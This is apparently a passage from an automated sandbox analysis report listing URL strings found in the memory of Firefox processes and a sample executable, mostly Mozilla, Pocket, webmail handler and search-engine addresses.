Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000002.2807676335.0000219FC4904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2808427934.000031D060004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2761542947.0000025B47F1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807464619.0000175AF4004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001C.00000002.2807464619.0000175AF4004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ZycC
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sFailed
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.2760502605.0000025B47CF0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778623851.0000025B49303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Received
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743683030.0000025B438AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/SectionsManager.
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsDisplays
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001C.00000002.2752718446.0000025B45503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots_wrapOpenRequest/request.onupgradeneeded
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla/webcompat-reporterresource://search-extensions/google/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49A84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submitPocket
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2769652776.0000025B488A2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2769652776.0000025B4883D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B499F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.comZycC
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B499F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2752718446.0000025B45520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B453A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionresource://gre/mod
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
